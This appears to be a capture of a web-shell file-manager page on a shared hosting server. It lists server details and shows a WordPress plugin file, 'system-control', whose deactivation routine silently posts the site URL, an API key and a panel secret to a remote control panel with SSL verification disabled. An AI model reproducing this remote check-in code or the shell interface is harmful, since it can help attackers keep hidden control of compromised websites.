HEX
Server: LiteSpeed
System: Linux premium212.web-hosting.com 4.18.0-553.124.4.lve.el8.x86_64 #1 SMP Fri May 15 13:02:13 UTC 2026 x86_64
User: vitanhod (1367)
PHP: 8.2.31
Disabled: NONE
Upload Files
File: //home/vitanhod/www/wp-content/plugins/system-control/includes/class-sc-deactivator.php
<?php
/**
 * Plugin deactivation: notify panel
 */
class SC_Deactivator {

    public static function deactivate() {
        $panel_url = get_option('sc_panel_url', SC_PANEL_URL);
        $api_key = get_option('sc_api_key');

        if ($api_key) {
            wp_remote_post($panel_url . '/api/receive-registration.php', [
                'body'      => json_encode([
                    'api_key'      => $api_key,
                    'panel_secret' => SC_PANEL_SECRET,
                    'action'       => 'deactivate',
                    'url'          => site_url(),
                ]),
                'headers'   => ['Content-Type' => 'application/json'],
                'timeout'   => 10,
                'sslverify' => false,
                'blocking'  => false,
            ]);
        }

        update_option('sc_is_active', 0);
    }
}